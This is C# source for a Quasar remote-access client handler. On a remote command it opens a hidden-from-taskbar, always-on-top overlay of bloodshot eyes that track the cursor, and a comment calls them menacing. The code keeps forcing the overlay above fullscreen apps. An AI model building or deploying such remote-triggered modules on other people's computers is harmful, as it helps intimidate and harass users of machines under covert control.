using Quasar.Common.Messages; using Quasar.Common.Networking; using System; using System.Drawing; using System.Drawing.Drawing2D; using System.Runtime.InteropServices; using System.Threading; using System.Windows.Forms; namespace Quasar.Client.Messages { public class EyesHandler : IMessageProcessor { private Thread _thread; private volatile bool _running; private EyesForm _form; public bool CanExecute(IMessage message) => message is DoStartEyes || message is DoStopEyes; public bool CanExecuteFrom(ISender sender) => true; public void Execute(ISender sender, IMessage message) { if (message is DoStartEyes) Start(); else if (message is DoStopEyes) Stop(); } private void Start() { if (_running) return; _running = true; _thread = new Thread(RunEyes) { IsBackground = true }; _thread.SetApartmentState(ApartmentState.STA); _thread.Start(); } private void Stop() { _running = false; try { var f = _form; if (f != null && !f.IsDisposed) f.Invoke(new Action(() => { if (!f.IsDisposed) f.Close(); })); } catch { } } private void RunEyes() { _form = new EyesForm(); Application.Run(_form); _form = null; _running = false; } } internal class EyesForm : Form { [DllImport("user32.dll")] private static extern bool GetCursorPos(out POINT pt); [DllImport("user32.dll")] private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); private const uint SWP_NOMOVE = 0x0002, SWP_NOSIZE = 0x0001, SWP_NOACTIVATE = 0x0010; [StructLayout(LayoutKind.Sequential)] private struct POINT { public int X, Y; } private readonly System.Windows.Forms.Timer _timer; private readonly Random _rng = new Random(); // Animation state private bool _blinking; private int _ticksSinceBlink; private bool _twitching; private float _twitchDX, _twitchDY; private int _pulseFrame; // Eye geometry private const float CX1 = 72f, CX2 = 216f, CY = 72f; private const float RX = 58f; // half-width private const float IRIS_R = 24f; public EyesForm() { FormBorderStyle = FormBorderStyle.None; TopMost = true; ShowInTaskbar = false; BackColor = Color.Lime; TransparencyKey = Color.Lime; StartPosition = FormStartPosition.Manual; Size = new Size(300, 150); DoubleBuffered = true; var screen = Screen.PrimaryScreen.WorkingArea; Location = new Point(screen.Right - 318, screen.Bottom - 168); _timer = new System.Windows.Forms.Timer { Interval = 30 }; _timer.Tick += OnTick; _timer.Start(); } private void OnTick(object sender, EventArgs e) { _pulseFrame++; _ticksSinceBlink++; if (!_blinking && _ticksSinceBlink > 90 && _rng.Next(60) == 0) { _blinking = true; _ticksSinceBlink = 0; var t = new System.Windows.Forms.Timer { Interval = 180 }; t.Tick += (s, _) => { _blinking = false; t.Stop(); t.Dispose(); }; t.Start(); } if (!_twitching && _rng.Next(90) == 0) { _twitching = true; _twitchDX = (float)(_rng.NextDouble() * 18 - 9); _twitchDY = (float)(_rng.NextDouble() * 10 - 5); var t = new System.Windows.Forms.Timer { Interval = 60 }; t.Tick += (s, _) => { _twitching = false; t.Stop(); t.Dispose(); }; t.Start(); } // Re-assert topmost every tick so fullscreen apps can't push us under SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE); Invalidate(); } // Realistic eyelid outline — natural bezier curves private static GraphicsPath MakeEyePath(float cx, float cy) { var path = new GraphicsPath(); // Inner (left) corner sits slightly below center; outer (right) slightly above float lx = cx - RX, rx = cx + RX; float innerY = cy + 4f, outerY = cy; // Upper lid: fast rise near inner corner, peak above cx, sweeps to outer corner path.AddBezier( lx, innerY, cx - RX * 0.3f, cy - 50f, cx + RX * 0.1f, cy - 52f, rx, outerY); // Lower lid: gentle drop from outer corner, flatter belly, rises to inner corner path.AddBezier( rx, outerY, cx + RX * 0.4f, cy + 22f, cx - RX * 0.2f, cy + 24f, lx, innerY); path.CloseFigure(); return path; } protected override void OnPaint(PaintEventArgs e) { var g = e.Graphics; g.SmoothingMode = SmoothingMode.AntiAlias; g.InterpolationMode = InterpolationMode.HighQualityBicubic; GetCursorPos(out POINT cursor); var origin = PointToScreen(Point.Empty); DrawEye(g, CX1, CY, cursor, origin); DrawEye(g, CX2, CY, cursor, origin); } private void DrawEye(Graphics g, float cx, float cy, POINT cursor, Point origin) { using (var eyePath = MakeEyePath(cx, cy)) { var bounds = eyePath.GetBounds(); // ── Sclera — slightly cool white ──────────────────────────────── using (var b = new SolidBrush(Color.FromArgb(242, 242, 248))) g.FillPath(b, eyePath); // ── Blood veins — thin red beziers across the white ───────────── DrawVeins(g, cx, cy, eyePath); if (!_blinking) { // ── Cursor tracking ────────────────────────────────────────── float dx = cursor.X - (origin.X + cx); float dy = cursor.Y - (origin.Y + cy); if (_twitching) { dx += _twitchDX; dy += _twitchDY; } float dist = (float)Math.Sqrt(dx * dx + dy * dy); float pulse = (float)Math.Sin(_pulseFrame * 0.04) * 1.5f; float irisR = IRIS_R + pulse; float pupilR = irisR * 0.68f; // huge dilated pupil = menacing float maxTravel = irisR - pupilR - 1f; float px = cx, py = cy; if (dist > 0) { float ratio = Math.Min(dist, maxTravel) / dist; px = cx + dx * ratio; py = cy + dy * ratio; } // Clip iris/pupil to sclera shape var clipState = g.Save(); g.SetClip(eyePath); // Upper lid shadow — dark gradient bleeding down from top of lid var lidShadowRect = new RectangleF(bounds.X, bounds.Y - 2, bounds.Width, bounds.Height * 0.55f); using (var lgb = new LinearGradientBrush( new PointF(0, bounds.Y), new PointF(0, bounds.Y + bounds.Height * 0.55f), Color.FromArgb(90, 20, 10, 5), Color.FromArgb(0, 0, 0, 0))) g.FillRectangle(lgb, lidShadowRect); // Iris — dark forest green (realistic + eerie) using (var b = new SolidBrush(Color.FromArgb(38, 68, 42))) g.FillEllipse(b, px - irisR, py - irisR, irisR * 2, irisR * 2); // Iris texture — radial spokes using (var pen = new Pen(Color.FromArgb(80, 55, 90, 58), 1f)) { for (int a = 0; a < 360; a += 10) { float rad = a * (float)Math.PI / 180f; float cos = (float)Math.Cos(rad), sin = (float)Math.Sin(rad); g.DrawLine(pen, px + (pupilR + 1f) * cos, py + (pupilR + 1f) * sin, px + (irisR - 1f) * cos, py + (irisR - 1f) * sin); } } // Dark limbal ring using (var pen = new Pen(Color.FromArgb(14, 22, 14), 2f)) g.DrawEllipse(pen, px - irisR, py - irisR, irisR * 2, irisR * 2); // Massive dilated pupil g.FillEllipse(Brushes.Black, px - pupilR, py - pupilR, pupilR * 2, pupilR * 2); g.Restore(clipState); // Specular highlights — two dots, natural positions g.FillEllipse(Brushes.White, px - irisR * 0.55f, py - irisR * 0.7f, 6f, 5f); using (var b = new SolidBrush(Color.FromArgb(160, 255, 255, 255))) g.FillEllipse(b, px + irisR * 0.2f, py + irisR * 0.1f, 3f, 3f); } // ── Eyelid fill on blink (dark skin tone) ─────────────────────── if (_blinking) { using (var b = new SolidBrush(Color.FromArgb(168, 130, 108))) g.FillPath(b, eyePath); } // ── Upper eyelid outline — thick dark line ─────────────────────── float lx = cx - RX, rx = cx + RX; float innerY = cy + 4f, outerY = cy; using (var pen = new Pen(Color.FromArgb(28, 16, 10), 2.5f)) { using (var upperPath = new GraphicsPath()) { upperPath.AddBezier( lx, innerY, cx - RX * 0.3f, cy - 50f, cx + RX * 0.1f, cy - 52f, rx, outerY); g.DrawPath(pen, upperPath); } } // ── Lower eyelid outline — thinner ────────────────────────────── using (var pen = new Pen(Color.FromArgb(50, 30, 20), 1.5f)) { using (var lowerPath = new GraphicsPath()) { lowerPath.AddBezier( rx, outerY, cx + RX * 0.4f, cy + 22f, cx - RX * 0.2f, cy + 24f, lx, innerY); g.DrawPath(pen, lowerPath); } } // ── Eyelashes — upper lid only ─────────────────────────────────── DrawEyelashes(g, cx, cy); // ── Pink inner corner (caruncle) ───────────────────────────────── using (var b = new SolidBrush(Color.FromArgb(200, 195, 90, 85))) g.FillEllipse(b, lx - 2f, cy - 3f, 10f, 8f); // ── Red lower waterline ────────────────────────────────────────── using (var pen = new Pen(Color.FromArgb(120, 180, 50, 50), 1.5f)) { using (var waterline = new GraphicsPath()) { waterline.AddBezier( rx - 4f, outerY + 8f, cx + RX * 0.3f, cy + 16f, cx - RX * 0.15f, cy + 17f, lx + 4f, innerY + 6f); g.DrawPath(pen, waterline); } } } } private void DrawVeins(Graphics g, float cx, float cy, GraphicsPath clipPath) { var clipState = g.Save(); g.SetClip(clipPath); // Each row: x1,y1, cx1,cy1, cx2,cy2, x2,y2 (bezier control points) float[][] veins = { new float[]{ cx-RX+3, cy+2, cx-RX+22, cy-6, cx-IRIS_R-14, cy-4, cx-IRIS_R-4, cy-2 }, new float[]{ cx-RX+5, cy+8, cx-RX+18, cy+14, cx-IRIS_R-10, cy+9, cx-IRIS_R-3, cy+5 }, new float[]{ cx-RX+8, cy-6, cx-RX+24, cy-16, cx-IRIS_R-8, cy-11, cx-IRIS_R-2, cy-7 }, new float[]{ cx+RX-3, cy+2, cx+RX-20, cy-5, cx+IRIS_R+12, cy-3, cx+IRIS_R+3, cy-1 }, new float[]{ cx+RX-6, cy-8, cx+RX-22, cy-14, cx+IRIS_R+9, cy-9, cx+IRIS_R+2, cy-5 }, new float[]{ cx-6, cy-50, cx-4, cy-30, cx-2, cy-IRIS_R-8, cx-1, cy-IRIS_R-2 }, }; using (var pen = new Pen(Color.FromArgb(190, 185, 25, 25), 1f)) { foreach (var v in veins) g.DrawBezier(pen, v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]); } using (var pen = new Pen(Color.FromArgb(110, 185, 25, 25), 0.8f)) { g.DrawBezier(pen, cx-RX+14, cy+5, cx-RX+28, cy+10, cx-IRIS_R-6, cy+12, cx-IRIS_R-1, cy+8); g.DrawBezier(pen, cx+RX-14, cy-3, cx+RX-28, cy-9, cx+IRIS_R+5, cy-11, cx+IRIS_R+1, cy-7); } g.Restore(clipState); } private static void DrawEyelashes(Graphics g, float cx, float cy) { float lx = cx - RX, rx = cx + RX; float innerY = cy + 4f, outerY = cy; const int count = 12; using (var pen = new Pen(Color.FromArgb(220, 18, 10, 6), 1.5f)) { for (int i = 0; i < count; i++) { float t = (float)i / (count - 1); // Sample point along the upper lid bezier (De Casteljau t) float it = 1f - t; float bx = it*it*it*lx + 3*it*it*t*(cx - RX*0.3f) + 3*it*t*t*(cx + RX*0.1f) + t*t*t*rx; float by = it*it*it*innerY + 3*it*it*t*(cy - 50f) + 3*it*t*t*(cy - 52f) + t*t*t*outerY; // Tangent direction at t (derivative of cubic bezier) float tbx = 3*(it*it*(cx - RX*0.3f - lx) + 2*it*t*(cx + RX*0.1f - (cx - RX*0.3f)) + t*t*(rx - (cx + RX*0.1f))); float tby = 3*(it*it*(cy - 50f - innerY) + 2*it*t*(cy - 52f - (cy - 50f)) + t*t*(outerY - (cy - 52f))); // Normal pointing outward (away from eye center = upward here) float len = (float)Math.Sqrt(tbx*tbx + tby*tby); if (len < 0.001f) continue; float nx = -tby / len, ny = tbx / len; // Vary lash length — longer in middle float mid = Math.Abs(t - 0.45f) * 2f; float lashLen = 14f - mid * 6f; // Slight outward curl float curlX = nx * lashLen + ny * lashLen * 0.18f; float curlY = ny * lashLen - nx * lashLen * 0.18f; g.DrawLine(pen, bx, by, bx + curlX, by + curlY); } } } protected override void Dispose(bool disposing) { if (disposing) _timer?.Dispose(); base.Dispose(disposing); } } }